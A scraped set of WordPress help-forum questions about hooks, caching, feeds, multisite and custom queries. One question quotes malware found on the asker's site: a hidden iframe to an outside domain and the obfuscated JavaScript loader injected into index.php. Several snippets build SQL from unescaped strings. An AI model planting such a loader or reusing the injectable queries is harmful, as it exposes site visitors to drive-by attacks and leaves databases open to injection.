a slider plugin puts its javascript “right before the closing body-tag” using an add_action() hook like this:               protected static function addAction($action,$eventFunction){         add_action( $action, array(self::$t, $eventFunction) );              }      -               UniteBaseClassRev::addAction('wp_footer', 'putJavascript');      -               public function putJavascript(){         $urlPlugin = UniteBaseClassRev::$url_plugin."rs-plugin/";         ?>         <script type='text/javascript' src='<?php echo $urlPlugin?>js/jquery.themepunch.plugins.min.js?rev=<?php echo GlobalsRevSlider::SLIDER_REVISION; ?>'></script>         <script type='text/javascript' src='<?php echo $urlPlugin?>js/jquery.themepunch.revolution.min.js?rev=<?php echo  GlobalsRevSlider::SLIDER_REVISION; ?>'></script>         <?php     }      the theme I use also uses add_action() to unregister the wordpress jquery and use its own:               function FoundationPress_scripts() {     // deregister the jquery version bundled with wordpress     wp_deregister_script( 'jquery' );     // enqueue modernizr, jquery and foundation     wp_enqueue_script( 'modernizr', get_template_directory_uri() . '/js/modernizr/modernizr.min.js', array(), '1.0.0', false );     wp_enqueue_script( 'jquery', get_template_directory_uri() . '/js/jquery/jquery.min.js', array(), '1.0.0', true );     wp_enqueue_script( 'foundation', get_template_directory_uri() . '/js/app.js', array('jquery'), '1.0.0', true );     }     add_action( 'wp_enqueue_scripts', 'FoundationPress_scripts' );      now what happens is that the slider scripts are loaded before the jquery is loaded and therefore do not work: ![devtools](http://i.stack.imgur.com/r7sGq.png) so my question is how I can change the order of the add_action() hooks to be fired. any other solution to solve this is fine.


Wordpress Background Audio - Continous AutoPlay

I'm kinda of a newbie , but know my way around a bit in Wordpress to code things in place. I would like to know if you happen to know how to create a continous audio play in the background of the website , _including_ the time a visitor clicks on different pages, posts or sections of the website. I have tried coding the audio into but that doesn't solve the problem because when the page reloads, the audio starts over and I don't want that. Coding , plugins ... whatever does the job. I know that this is not quite ok for the visitor , but please bear with me. Thank you.


Change wp-signup.php Page Template

I am using anti-splog on a multisite network with the randomly changing signup URL feature. Under the hood, it is pointing to wp-signup.php file. I created an override file the plugin looks for by default and it just turns around, loads my stylesheet, and then invokes the plugin's ust-wp-signup.php original file:               <?php     /*         Custom MySite Sign Up Page     */          /**      * Custom MySite stylesheet for signup page.      */     function MySite_signup_stylesheet() {         wp_enqueue_style('custom-wpsignup', get_stylesheet_directory_uri() . '/css/wp-signup.css', false, '1.0', 'all');     }     add_action( 'wp_head', 'MySite_signup_stylesheet' );                    // Invoke the default sign up page handler     require_once('plugins/anti-splog/includes/ust-wp-signup.php');      I need a way to make my custom wp-signup page use a page template from my theme other than the default front page theme because it does not render correctly. Any ideas?


Disable WordPress cache programmatically on a request

How do I turn off the WP Super Cache & W3 Total Cache functionality programmatically? For instance, I neither want to make it use the cache on some requests nor cache the output of the request, do they support that using filters? I couldn't find anything useful in their documentation.


Long query apache error from spam comments

My hosting company recently turned on the error reporting for slow queries in php/apache and we have seen the error logs get flooded with errors all from queries requesting spam comments on the front end of the site. We are using akismet to catch the spam, which is working just fine. The referrers are all coming from blog posts, and you can see an example of the error below (I have changed details of the log for security & anonymity.)               LONG QUERY (1199 characters long generated in /nas/wp/www/cluster-9999/INSTALL_NAME/wp-comments-post.php:134):      SELECT comment_ID FROM wp_999_comments      WHERE comment_post_ID = 233      AND comment_parent = '0'      AND comment_approved != 'trash'      AND ( comment_author = 'SpamAuthor' OR comment_author_email = 'spamEmail@spam.com' )      AND comment_content = 'A WHOLE BUNCH OF SPAM HERE'      LIMIT 1, referer: http://www.example.com/2013/05/23/some_post/      I can't figure out for the life of me why this query would be running on the front end of the site. I don't understand why WordPress would even be querying spam comments here. I tried to modify the query using the filter below, but it did not work at all.               function prefix_comments_mod( $comments ) {              $comments->query_vars['status'] = 'approve';          }     add_filter( 'pre_get_comments', 'prefix_comments_mod' );      Has anyone seen this sort of error before / have a fix for it? We have a multisite network with 500+ sites so these errors are firing every couple of seconds which is slowing down our server & making our error logs completely useless.


One reason for changing the GUID

I create product custom posts from an external data suscription, populating some custom fields and displaying product specifications automatically. As there are a lot of these products, the manual review of each one is made after the custom post have been already published. And it is at that moment when I want my readers to see in the feed the product with the review. The only way I have found so far is to modify the post GUID after the review so it appears again in the feed. On the other hand in the codex we can read **Never, ever, change the contents of the GUID column, under any circumstances.** http://codex.wordpress.org/Changing_The_Site_URL#Important_GUID_Note Is this circumstance a right one for modifying the guid or is there another way of serving these reviews again in the feed? Another posibility would be to modify the query that control the wordpress main feed but haven't found the way to do it trying to follow these guidelines Adding posts of custom type into the main feed               function myfeed_request($qv) {         if ( isset( $qv['feed'] ) ) {         $qv['post_type'] = array('post', 'cars', 'bikes', 'trucks');         //$qv['seccion'] = 'reviews';         $qv['tax_query'] = array(             'relation' => 'OR',             array(                 'taxonomy' => 'section',                 'field' => 'slug',                 'terms' => array( 'reviews' )             ),             array(                 'taxonomy' => 'post_format',                 'field' => 'slug',                 'terms' => array( 'post' )             )         )              }         return $qv;     }     add_filter('request', 'myfeed_request');      Thanks a lot


wp-cron.php - timeout

I found via Query Monitor plugin, that there is some HTTP request error during page load. I looked at the error table, and here I found that problem is with this: ![enter image description here](http://i.stack.imgur.com/UDKAR.png) FULL_IMAGE How can I delete this wp-cron job, or whatever is that?


Wrap URL around custom field checkbox array

I have a custom field of checkboxes for choosing an "Area of Expertise" that was created using WCK (WordPress Creation Kit which I'm using to create CPTs and Custom Fields). I don't know if this is the best option to use, so please, suggest something other than checkboxes if it isn't. What I'm using now to display the code (just the checkboxes) is below and it works fine but I also want to add an unique URL to each field depending on what is checked and that's where I'm stumped... is that even possible?               <?php              $field_of_expertise = get_cfc_field( 'areas_of_expertise','areas-of-expertise' );         foreach( $field_of_expertise as $key => $value )             echo '<h6>' . $value . '</h6>';     ?>      I'm guessing I have to output each array individually but I'm not quite sure how to do that...               array {         a[0]         b[1]         c[2]     }      And then somehow incorporate that into the code above but that is all above my current skill set. Any help is appreciated.


how to create or rewrite files in wordpress plugin folder

i'm developing my own plugin. in that i used a simple php file to generate contact vcards in the plugin folder. for this i used fopen & fwrite. but the file is not creating in the plugin folder. this is my code:               function Vcard(){     $path =EMAIL_PLUGIN_URL.'/MyFile.txt';     $Handle = (file_exists($path))? fopen($path, "a+") : fopen($path, "w+");     $sql="select the rows from my db";     $rs =/* db array result*/      while(until the last result) {      $Data="BEGIN:VCARD"."\n"."VERSION:2.1"."\n";  $Data.="N:".$row['eemail_name_sub'].';'."\n"."FN:".$row['eemail_name_sub']."\n";     $Data.="TEL;CELL:".'+91'.$row['eemail_mobile_sub']."\n"."END:VCARD"."\n";      fwrite($Handle, $Data);      }     fclose($Handle);      $p="data written";      return $p;     }      What may be the reason for this? also how can i download this vcard at the same moment after it is created and written?


Wordpress Multisite Domain Mapping and Redirection

I want to ask that, i want to make a some thing like this that when I enter a sub-domain url like **sub.domain.com** the site should open without redirection to map domain let say **sub.com** , and when I try to open **sub.com** it should open the same site without any redirection. Currently I am using domain mapping plugin, and that plugin redirect the **sub.domain.com** to **sub.com** and than open the site if I enter **sub.domain.com**. I tried to modify the .htaccess file to stop the redirection but no success. Help me in this regard. Thanks


Soundcloud embed shortcode does not work

The soundcloud short code does not seem to be working. I've tried over several days and it just shows up as raw code. Is this a glitch, has support officially been discontinued, is there some workaround?               [soundcloud url="https://api.soundcloud.com/tracks/151458437" params="color=ff5500&auto_play=false&hide_related=false&show_artwork=true&show_comments=true&show_user=true&show_reposts=false" width="100%" height="166" iframe="true" /]      https://soundcloud.com/radhanath-swami/offer-the-best-you-have Using the latest wordpress 3.9.1


Get original path of user's filesystem of an uploaded media

Is it possible within wordpress to retrieve the original upload path of a media? For example, the user uploaded from **C:\pictures\holidays2014\image1.jpg**. I want **this** path, not the created path after the upload. Edit: Rephrased the question.


Save Contact Form 7 data into cookie?

Can anyone shed some light on how to save CF7 data into a cookie, preferably jquery cookie? For example, if I'd like to save "user email" value to a cookie, what should I do? Thanks.


How to disable or hide WordPress.com as a social media login option for Jetpack Comments

I am looking for a method to hide or remove WordPress from the login options in Jetpack Comments. I have tried adding `a#postas-wordpress {display:none !important}` to the theme's style.css, but no luck. Here is a screenshot of the default comment form with Jetpack Comments enabled. ![Wordpress Jetpack Comments form](http://i.stack.imgur.com/sEPvq.png) Thank you!


Load the next posts ajax

I use the below code to display the first 5 results.
     <?php     global $post,$wpdb;     $post_number = 5;     $category1 = $category;     $today = date('Y-m-d G:i:s');     if($category) {      $category = "'".str_replace(",","','",$category)."'";      $where .= "and p.ID in (select tr.object_id from $wpdb->term_relationships tr join $wpdb->term_taxonomy t on t.term_taxonomy_id=tr.term_taxonomy_id where t.term_id in ($category))";     }     $today = date('Y-m-d G:i:s');     @$where .= " AND (p.ID in (select $wpdb->postmeta.post_id from $wpdb->postmeta where $wpdb->postmeta.meta_key='st_date' and date_format($wpdb->postmeta.meta_value,'%Y-%m-%d %G:%i:%s') >'".$today."')) ";          $sql = "select p.* from $wpdb->posts p where p.post_type='".CUSTOM_POST_TYPE1."' and p.post_status='publish' $where order by $orderby limit $post_number";          $latest_menus = $wpdb->get_results($sql);      if($latest_menus) {              foreach($latest_menus as $post) :         setup_postdata($post);     ?>

<a href="<?php the_permalink(); ?>"><?php the_title(); ?>
             <?php echo get_post_meta($post->ID,'address',true); ?>
          <?php              endforeach;      } else {       echo "
".UPCOMING_NOT_FOUND_TEXT."
";      }      ?>
      I wanted to display the next 5 results from the last displayed result of the code above using ajax. Adding `<a>Load More</a>` at the end if there is more than 5 results and add `No more results` if there is only 5 results. Also, when I click the `<a>Load More</a>` and there are no more results to display, then replace `<a>Load More</a>` with `<b>No more results</b>` I don't know how to do ajax with the code above since im not familiar with jquery. Please help..


How To Add an Extra Field in All WordPress Available Widgets?

I keep searching on how to add an extra field on every WordPress available widget, something like **_`Subtitle`_** after the widget's **_`Title`_**. Is there a way to hook on every available widget?


Show error message after exception handled

I have a plugin that updates a user profile, and I want to handle a date exception and show a error message when it fails, but I can't make it work. Here is part of the class:               private function __construct() {         add_action( 'edit_user_profile', array($this, "userAdminForm") );         add_action("personal_options_update", array($this, "updateCustomFields") );         add_action("edit_user_profile_update", array($this, "updateCustomFields") );     }     public function userAdminForm($user) {         require_once(ACMFR_PARTIALS."/form.editProfileAdmin.php");     }          public function updateCustomFields($userID) {         //stuff         if ( isset($_POST["expirydate"]) ) {             try {                 $date = new DateTime("FAIL");                 //Do stuff with Date             }             catch (Exception $exception) {                 add_action('edit_user_profile', array ($this, 'date_error'));                 //add_action('admin_notices', array ($this, 'date_error'));             }         }         //more stuff     }          public function date_error() {         echo '

Date Format Error

';     }      This is how the plugin works: When admin enters the User edit profile page (user-edit.php), the plugin shows a partial with some custom fields. When the form is submitted, the updateCustomFields function is called and update the fields. If the expirydate field has a wrong format, a Exception is raised and I want to show a error. The problem is that the error message never appears.


Posting Instagram Photos Automatically

I'd like to post my Instagram photos to my WordPress blog. I cannot use one of the many existing Instagram plugins, though, because those plugins simply post the images on my blog but they are still hosted by Instagram. I'd like this to be a batch process that will actually upload the Instagram photo to my WordPress media library and then post it. In summary: How do I automatically _upload and post_ Instagram photos to my WordPress blog ( _not_ via a sidebar widget)?


jQuery tabs plugin with callback to fetch data

I want to use tabs plugin and load tab contents using `ajax`. The problem is: the plugin requires a solid `.php` file to be specified in `href` e.g.
Tab 3 (slow)
      You know this does not work well with WordPress. A callback here would have worked. Is there such fork available Or any other plugin?


Malicious script is being appended to my markup. Help?

On my site, the script below is being added:               <iframe width="1" height="1" frameborder="0" src="http://hysofufewobe.com/k985ytv.htm">      I tried searching every file in my WP install directory for "hysofufewobe" but got no results so possibly the code is being obfuscated. I am not sure if WordPress or my host DreamHost is the problem. I've contacted my host asking if any reports have been made about similar issues. No reply yet. Thought I'd ask here in the meantime. Anyone know what steps I can take to get rid of this script? By the way, I made another thread here about this issue but I can't access it for some reason. Please feel free to delete that one if needed. -edit- I checked /index.php and wp-admin/index.php and found the strange characters below at the very top before the `<?php`.               mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);      So I deleted it and everything looks like it's back to normal. The script doesn't append to my markup, either. I am skeptical that simply erasing those lines fixed the entire problem but don't know how to check. Any ideas?


Moved wp-content and got problem with themes directory?

I have moved the 'wp-content' directory to a new folder following the guide at Moving Wp-content. I could able to access plugins directory with out any problem as I used the wp_content_dir in addition with WP_CONTENT_DIR' . But I could not able to access themes and unable to install new themes using theme repository.               define( 'WP_CONTENT_DIR', $_SERVER['DOCUMENT_ROOT'] . '/blog/wp-content' );       define( 'WP_CONTENT_URL', 'http://example/blog/wp-content');               define( 'WP_PLUGIN_DIR', $_SERVER['DOCUMENT_ROOT'] . '/blog/wp-content/plugins' );     define( 'WP_PLUGIN_URL', 'http://example/blog/wp-content/plugins');      Edited the wp-config.php with these constraints Does any one have idea on resolving the issue? I mean, how to access the themes? Also should I expect any trouble in the future for moving the wp- content? Thank you!


Is there a plugin that enables users to log in with their google account (not the make-your site-social plugin)?

Right now I'm using two plugins: One for enabling users to login with their twitter account and one for their facebook. I've searhced the whole web but I can't find one for Google Accounts. Any sugestions?


Add my own button next to "Screen options" and "Help" in the admin

I'd like to add my own button link next to these two. Is this possible? ![enter image description here](http://i.stack.imgur.com/YVA9E.png)


Get File with WP Multisite Problem

I have a problem with Multisite, as we all know multisite with sub directories looks like this "www.example.com/site1" etc. I am using a custom script linked with foobox that when someone clicks on "Download Image" it loads my "example.com/get_file.php" on the main directory of the server. However since Foobox is a sitewide plugin, it loads the script and is currently having problems with being able to grab the image url since Multisite auto adds the "/site1/" into the url and all my files are located on the base domain eg "example.com/images" instead of "example.com/wp- content/site1" etc This is part of the script to grab the images:               $file = explode('example.com', $_SERVER['QUERY_STRING']);     $file = end($file);     $file = str_replace('//', '/', '/home/www/example.com/media/images/'.$file);     $file = rawurldecode($file);     if(file_exists($file)) {     header("Content-Type: $ctype");     header("Content-Disposition: attachment; filename=\"".basename($file)."\";" );     header("Content-Transfer-Encoding: binary");     header("Content-Length: ".filesize($file));     readfile($file);     } else {         echo "File $file dosn't exists...";     }     exit();      I am looking for a way for it to just grab the Image name and the folder where the image is held in. eg: "example.com/media/images/FOLDERNAME/FILENAME.JPG and my script can replace all text before the folder name to path it to the base directory. Edit: So after reading about this, the question is: "How do I grab the Parent folder the file is in and also grab the filename" Edit: Have just tried this and not sure why it is not working `$file = str_replace('//', '/', '/home/www/example.net/media/images/' .dirname(__FILE__),'/' .basename($file));` Resources: http://stackoverflow.com/questions/8980244/how-to-get-just-the- name-of-the-parent-folder-in-the-directory-where-a-script-is http://stackoverflow.com/questions/2601885/php-get-only-directory-path


Is there a way to rename "themes" directory name?

By defining TEMPLATEPATH, STYLESHEETPATH, WP_CONTENT_DIR and WP_CONTENT_URL merely affect the naming changes to wp-content. Is there any way to redefine the theme path and plugin path, so the new path can propagate through function calls such as get_options or bloginfo?


Get post count of current loop when using multiple queries on one page

I'm trying to get a count of the current posts inside of a loop. I'm using multiple loops on one page in my theme. So far I have:               $my_post_count = $wp_query->post_count;      But when I print $my_post_count, it returns the number all of the posts on my WP site. Could it have something to do with using multiple queries on one page? I tried using wp_reset_query after every loop to make sure I wasn't throwing things off that way. What am I doing wrong?


Remove menus and submenus

So I found some handy snippets to help remove admin menu items. However, I'm having trouble with the sub menu items. I want to keep the appearance menu, but get rid of the Themes, Widgets, and Editor.               function remove_menus()     {     global $menu;     global $current_user;     get_currentuserinfo();     if($current_user->user_login == 'username')     {         $restricted = array(__('Posts'),                             __('Links'),                                                  __('Comments'),                             __('Plugins'),                             __('Users'),                             __('Tools'),                                 __('Settings')              );         end ($menu);         while (prev($menu)){             $value = explode(' ',$menu[key($menu)][0]);             if(in_array($value[0] != NULL?$value[0]:"" , $restricted))            {unset($menu[key($menu)]);}         }// end while         }// end if         }         add_action('admin_menu', 'remove_menus');          function remove_submenus()     {     global $menu;     global $current_user;     get_currentuserinfo();     if($current_user->user_login == 'username')     {         global $submenu;         unset($submenu['themes.php'][10]); // remove the theme editor     }     }     add_action('admin_menu', 'remove_menus');


Problem with 'post__not_in'

I am running a custom query below each post, to get other post from its category. Now I want to exclude the current post. This is my Query:               <?php // related_posts();     $exclude_post   = $post->ID;     $cats =  get_the_category();     //$cats[0]->term_id;$cats[1]->term_id; //name      global $post;      $newQuery = new WP_Query('posts_per_page=5&orderby=rand&cat='.$cats[0]->term_id.'&post__not_in='.array($exclude_post).'');       if ( $newQuery->have_posts() ):?>
         <?php         while ( $newQuery->have_posts() ) : $newQuery->the_post(); ?>
                 <a title="<?php the_title();?>" href="<?php the_permalink();?>"><?php the_title();?>
         <?php         endwhile;?>
     <?php             endif;     ?>      Now my query shows 0 results. The same, if I set the post which shall be excluded testwise to 1 or so. What could be the error in my custom query? Cheers Lars


Can we create a custom post template for a specific page template

I am working in wordpress for the first time and the client had a requirement that we create a template which will be used for multiple products as shown below ![enter image description here](http://i.stack.imgur.com/lHOCm.jpg) The question I do have is it possible to create a template in the wordpress admin section which would have multiple custom posts (e.g. Taking the example given above )for the following items   1. The hero image   2. The text in the hero image   3. The CTA   4. The infographic(s)   5. The alternating contents  Once these custom posts are set up, can all these posts be combined together to create one template in the backend which can be reused. I apologize for the naiveness of the question but I come from a background where I have worked in CMS's before where you can create a template in the frontend and also create backend templates which map to the content in the front end.


Different versions of Wordpress between local and production

First off, I am a WordPress newbie so please be gentle! :) Long story short, I have been given a project in mid-flight. Development computer has Wordpress 3.8.1 setup with Microsoft Webmatrix. A purchased theme with customizations and content exists on this box. The client has an already purchased domain and hosting package from network solutions. Network solutions states they using Wordpress 3.5.1. When it comes to deploying from local to the web to the Network Solutions site, will I run into major pain points with the site being on a newer version? Maybe I'm being overly paranoid but I don't want to tell my developer to keep working on this site if we have to blow everything away and revert to an older version or work entirely online within Network Solutions. **UPDATE: Network Solutions does allow you to upgrade Wordpress to the latest stable version which meant I didn't have to worry about this anymore.**


Add top-level menu pointing to a different custom post type?

I have a situation where I want to add a second custom top-level menu for a custom post type. So, when we have a CPT named "fruits", which registers a top level menu with a label of "Fruits", clicking on "Fruits" will take you to `edit.php?post_type=fruits`. I'm trying to add a separate top-level menu with a label of "Oranges", and when I click that, it actually goes to `'edit.php?post_type=fruits&subtype=orange'`. However, when adding the new menu the link always wants to point to "admin.php"...how can I get it to point to the edit url above? edit: this seems to work , not sure if it's the best way or not: This actually seems to do the trick, not sure if it's the best way though:               add_menu_page('Oranges', 'Oranges', 'edit_posts', 'edit.php?post_type=fruits&subtype=oranges', '');


How to get post meta value and post in one query?

When query a post, I need not only the post but also the post_meta. But seems the post query and meta query can not be done together. With WP_Query, I first get the posts, then, I need to do `get_post_meta(get_the_ID(),'key',true)` Is this the way WP works? Or, is there a way to query both in one hit?


Force theme or disallow theme change

Can I force a theme? I mean that the user cannot change intentionaly or accidentaly the theme I made for that website. I would like to do this from the core because I also want to lock all updates.


Integrating WP E-commerce plugin into custom theme

I am getting very worried now, since I'm seeing almost NOTHING about integrating GetShopped's WP Ecommerce plugin into a custom theme. I'm using all custom template pages, and would like to use shortcodes to display items for sale, shopping cart, checkout links, etc etc. I've been to their forum, and cannot find anything about using with a custom theme. Their documentation isn't much at all. I've only been able to find one example of a shortcode that I can use, which is               <?php echo do_shortcode( '[wpsc_products category_id="awesome"]' ); ?>      That actually works fine, and am able to show any items with a category of "awesome". But that's it! I can't find any other shortcodes. Like shopping cart, checkout, etc etc. One of my main concerns/needs is to be able to make a custom button(not part of the plugin) that I've styled myself, and have the customer be brought to an items page, when clicked. Is anyone out there an expert with this plugin, or know of some place I can get help with this? Ugh. I'm very worried now, since I've been building this site thinking that It was going to be much easier to integrate this plugin into it. Thanks in advance!


Expanding new Media Uploader in WordPress 3.5

In current version of WordPress it is quite easy to expand the attachments fields using `attachment_fields_to_edit` filter, but in latest **WordPress 3.5 RC2** it's not working. We can expand it using custom meta fields, but using this requires editing each attachment in Media tb. I was wondering if it is possible to expand fields in **Attachment details** in modal box with Media Library http://i.imgur.com/GIsJj.png (sorry for a link but I cannot add image, not enough reputation ;)) Thank you for any help.


Insert a "view all " option on wp page navi

Is it possible to/how can I add a view all function to my wp-pagenavi? For example : 1 2 3 >> View All >> Currently I just have the 1 2 3 >> but would like to give my visitors to option to 'View all' Any help or direction to documentation/tutorial etc would be greatfully recieved. Cheers Neil


Wordpress overwrites UNC

I am using wordpress multisite. When editing a post, adding a link to a file in UNC format, and clicking save, wordpress is stripping out the drive letter and colon before the data hits the database. 'N:/file.pdf' is being saved as '/file.pdf'. This is only true for users who are not network super admins. Does anyone know what might be causing this behavior, and how I can change it?


Backing up an old version of WP before upgrading

I just took over a site running 3.3.1 and I'd like to back up the site and move it to local host so I can test the upgrade process locally to make sure nothing breaks. I've looked at BackWPup but it requires WP 3.4 to do it's thing. I also looked at BackUpWordPress but it needs 3.3.3. Anybody know a tool that will back up a site that's running 3.3.1 or will I need to manually it up?


WordPress strips some attributes for author posts

I added template to my WP posts, so when you click Add New content area alreday with text. Template smt. like this

Add your text here

      If user has Admin or Editor roles then it works great, but if user has Author role id sprips, and I got

Add your text here


WP Config for FTP credentials

Is there a config in WP that allows you to store your FTP credentials? I'm using the Linux webserver at work to develop and it's really annoying to have to but the credentials in every time I add/remove a plugin/theme. Anonymous access is a no-no, so I hoping that this config exists... Thanks.


Yelp-style geographic directory plugin?

The project I'm working on discusses local farming/agriculture/etc. initiatives and I'm ultimately wanting to create a directory with the following features:   * Separation between:      1. Urban farms     2. Farmers' markets     3. Locally-buying businesses   * For each location, listing of:      1. Name     2. Hours     3. Address     4. Description     5. Website/email/twitter     6. Category as per the above     7. User comments     8. User rating (I.e., n/5 stars)   * A Google map, with a marker placed for each location (via its "Address" field)   * Ideally, the ability to associate events and other content with each location I've tried custom post types via a combination of the plugins Advanced Custom Fields, Custom Post Type View Generator and Custom Post Type UI and cannot get them to work together. Further, I'll have to manually create a bunch of custom page templates via this method just because WP doesn't seem to do this itself — something I'd like to avoid, if only in how frustrating I've found do so in the past with a previous, ill-conceived WP custom post types project. I'm currently thinking about using Events Manager for the event — and just setting up each location as a Venue — but this is a bit hacky and I'd have to put all the extra detail (hours, website, etc.) as a single text blog in the description. Is there a way to intelligently do this in WordPress — or a plugin (NOT a theme) that does this — or should I just use Drupal? Thanks.


Best practice to limit results in get_row()?

This is my query to check if a title exists (it's in a loop, therefore [$i]).               $wpdb->get_row("SELECT * FROM wp_posts WHERE post_title = '" . $titles_arr[$i] . "'", 'ARRAY_A');      Anyway, I would like to know how to use `LIMIT 0,1000` to **query only the last 1000 added posts** to the database when using get_row() function. Any idea?


how to create template path for external (include) .js file

from my header file i can create template path easily for any .js file:                <?php $templateDirPath = get_bloginfo( 'template_directory' ) . '/';    ?>     <script type="text/javascript" src="<?php echo $templateDirPath; ?>js/scripts.js"></script>      but inside the 'scripts.js' file has some include .js files (same directory) like below: > include('js/mathUtils.js'); > > include('js/superfish.js'); > > include('js/switcher.js'); > > include('js/jquery.mousewhe i just want to know is there any way to make template path for those included .js files inside 'scripts.js' file ? im newbie in wordpress. found idea for below code but dnt know how to implement:               <script type="text/javascript">     var templateUrl = '<?= get_bloginfo( 'template_directory' ) . '/'; ?>';     </script>


When switching from html to visual editor the <p> tag gets erased

I'm facing a problem, basically if I use the tags into the html and then change to visual editor, the tags disappear, and it stays in plain text. Scenario:   * In HTML mode, I add some p tags to a post I'm editing.   * I switch to Visual, then back to HTML, and the tag and all of its content are gone. I'm not using any extended tinymce plugin. Any Suggestion?


Tag with Alias capability

Is there such a feature in WordPress, that you have one tag which is the alias for another? Example: Muhammad Ali and Cassius Clay is the same thing. I have two separate tags for each. And I tag my article only with "Muhammad Ali", while another colleague of mine could tag another article which talks about the same boxer as "Cassius Clay". And we want our visitors to be able to click on either term (that is "Cassius Clay" or "Muhammad Ali") and end up on the same URL. Now, where does this come handy you may ask... When I display my tag cloud alphabetically, wouldn't it be nice for the visitors to be able to go to either C's or M's and spot the topic regardless?.   So, when you go to the C's, and click on "Cassius Clay" in there, you end up on the same URL as those who scan the M's and click on "Muhammad Ali". I guess the functionality I need here is the same as that is found at the back of many books. You go look up a term (ex: Cassius Clay) at the index, and you read something like "see Muhammad Ali" eventually getting you to the correct page. If WordPress does not have a solution for this, my back up plan is to analyze the terms using the Google trend tool and pick the one which has the better volume and go with that as the first term and postfix the other term into parenthesis, i.e, _"Muhammad Ali (Cassius Clay)"_. This unfortunately won't help those users who seek the topic under the wrong alphabetical heading. I'd like to hear your opinions on this.


get_template_directory() vs bloginfo( 'template_directory' ) vs TEMPLATEPATH

I was reading this article: Common WordPress Development Mistakes and How to Fix Them, and in it, they author says: > Getting the theme location: If you are using TEMPLATEPATH or bloginfo( > 'template_directory'). **Stop!** You should be using the very useful > get_template_directory() as seen in my examples above. But he doesn't elaborate. What's so bad about `bloginfo()`?


Post list based on the page author

I'm sorry if this question is already been done, but I couldn't solve my problem after reading similar questions. I would like to have customized author pages, in which each author can write text and insert images directly from the editor of wordpress. Under the written page author, you should see the latest articles written by him (style blog). I was able to create a template that works perfectly. The problem is that with this code I should create 20 different templates (one for each author) changing the id. How can I tell wordpress to include the latest articles written by the author of each page? Here's the code I used in my page template:               <?php query_posts('author=4'); ?>     <?php if (have_posts()) : while (have_posts()) : the_post(); ?>


changed custom post type now $image_attributes[0]; broken

i wanted to change the slug of a custom post type so i renamed single-myslug.php to single-mynewslug.php changed                                $the_query = new WP_Query(array('post_type'=>'myslug','posts_per_page'=>8));      to               $the_query = new WP_Query(array('post_type'=>'mynewslug','posts_per_page'=>8));      and changed *post type in wp-admin from myslug to mynewslug now only some image thumbnails are showing up when i use               style="background-image: url(<?php echo $image_attributes[0]; ?>)      certain images show               style="background-image: url()      some have images some dont. http://www.mbooth.devserver2012.com/work-here/ thumbnail on some of these has dissapeared from wp-admin editor why would some just unattach themself from the post?


While loop articles - if statement order

I want to show a list of articles, but I want to show in the 1st place my second article and after it the last. _Eg: Article 1 Article 2 Article 3 Article 4 to be: Article 2 Article 1 Article 3 Article 4_ I'm using this while loop:               <?php     $i = 0;     $the_query = new WP_Query( 'showposts=35&offset=0' );     while ($the_query -> have_posts()) : $the_query -> the_post();     $i++;     if ($i==2) {     echo 'Article2: '.the_title();     }     if ($i==1) {     echo 'Article1: '.the_title();     }     endwhile;     ?>      But It render: Article1 Article2 I want to render this: Article2 Article1 Thank you in advance! PS: I want to do this because I want different positions of articles (like CNN) and I don't want to repeat WP_query for all my 34 articles on homepage... Because of this i use if statement. If you think that this is not a good question please do not -1 me, I will delete my post if you want.


How to put a Menu on the left side of a particular page in Wordpress 3.5

I am creating a website. The website already has a main menu which appears on the top.   But in one of the pages I want a side menu to appear on the left side of that page. I have gone through many tutorials which say to add some code in `register_nav_menus` in `functions.php` but I cant find any such function in `functions.php`. I am not able to create the menu. Kindly help me out


How to change profile picture in wordpress?

In wordpress, how can I change the profile picture of administrator or the users added. I didn't find any option to upload your profile picture from your PC. I know it is possible if I use Buddypress plugin in my wordpress. Is there any way to change the profile picture without this plugin?


add_query_arg() for custom post type on all visible links

I am trying to add add_query_art() $GET['var'] to auto filled form field. I have custom post type call career and want to auto filled field for the Position so url I want is http://mydomain.com/career/opening- position/?position=positionname I am getting above url from loop as I have manually added using add_query_arg() but now I want it to apply everywhere where the link appear on the site. Like widget etc.. I modify the_permalink using filter and it is working but the problem is it apply add_query_arg() return value to all permalink if I am on the career page. Here is my filter code               // permalink filter to add get var     function append_query_string($url) {              if('career' == get_post_type()){                  global $career_mb;             $career = $career_mb->the_meta();                  return add_query_arg('position', $career['career_position'], $url);              } else {                return add_query_arg($_GET, $url);                }     }     add_filter('the_permalink', 'append_query_string');      Hope I wrote clear to understand


How can I change the admin search posts fields?

I have a custom post type that includes many custom fields. I would like to add them as a search target to admin search. Currently the admin search searches only the content and the title, I would like it to search these custom fields as well. Is there a way to do that ?


Hide some portion on single.php base on author

I would like to hide some portion in view post base on author. My requirement is that I have an job board theme and user can post the job. So there is "How to Apply" section in detail page. Now, I want to auto post from other job site feed by using a author called "Aggregator". He has a role called "Aggregator". So I want to hide "How To Apply" section, if post author role is "Aggregator". May I know How to get and check post author role? Thanks, Alex


Wordpress Form To Email.php and Theme

I have some custom forms in my template pages. I'm using a form "action" to link to a formtoemail.php file. Everything works if I leave formtoemail.php as is, but I would like to call in my theme elements to style the page dynamically. I have tried the following, but unfortunately get an error "Call to undefined function get_header()" If I copy / paste the html from the page all works great, but I really would rather not have to update the html everytime. I'm sure there is a way to do this, but I'm not super PHP savvy. Can anyone help?               <?php          $my_email = "name@email.com";          /*          Enter the continue link to offer the user after the form is sent.  If you do not change this, your visitor will be given a continue link to your homepage.          If you do change it, remove the "/" symbol below and replace with the name of the page to link to, eg: "mypage.htm" or "http://www.elsewhere.com/page.htm"          */          $continue = "/";          /*          Step 3:          Save this file (FormToEmail.php) and upload it together with your webpage containing the form to your webspace.  IMPORTANT - The file name is case sensitive!  You must save it exactly as it is named above!  Do not put this script in your cgi-bin directory (folder) it may not work from there.          THAT'S IT, FINISHED!          You do not need to make any changes below this line.          */          $errors = array();          // Remove $_COOKIE elements from $_REQUEST.          if(count($_COOKIE)){foreach(array_keys($_COOKIE) as $value){unset($_REQUEST[$value]);}}          // Check all fields for an email header.          function recursive_array_check_header($element_value)     {          global $set;          if(!is_array($element_value)){if(preg_match("/(%0A|%0D|\n+|\r+)(content-type:|to:|cc:|bcc:)/i",$element_value)){$set = 1;}}     else     {     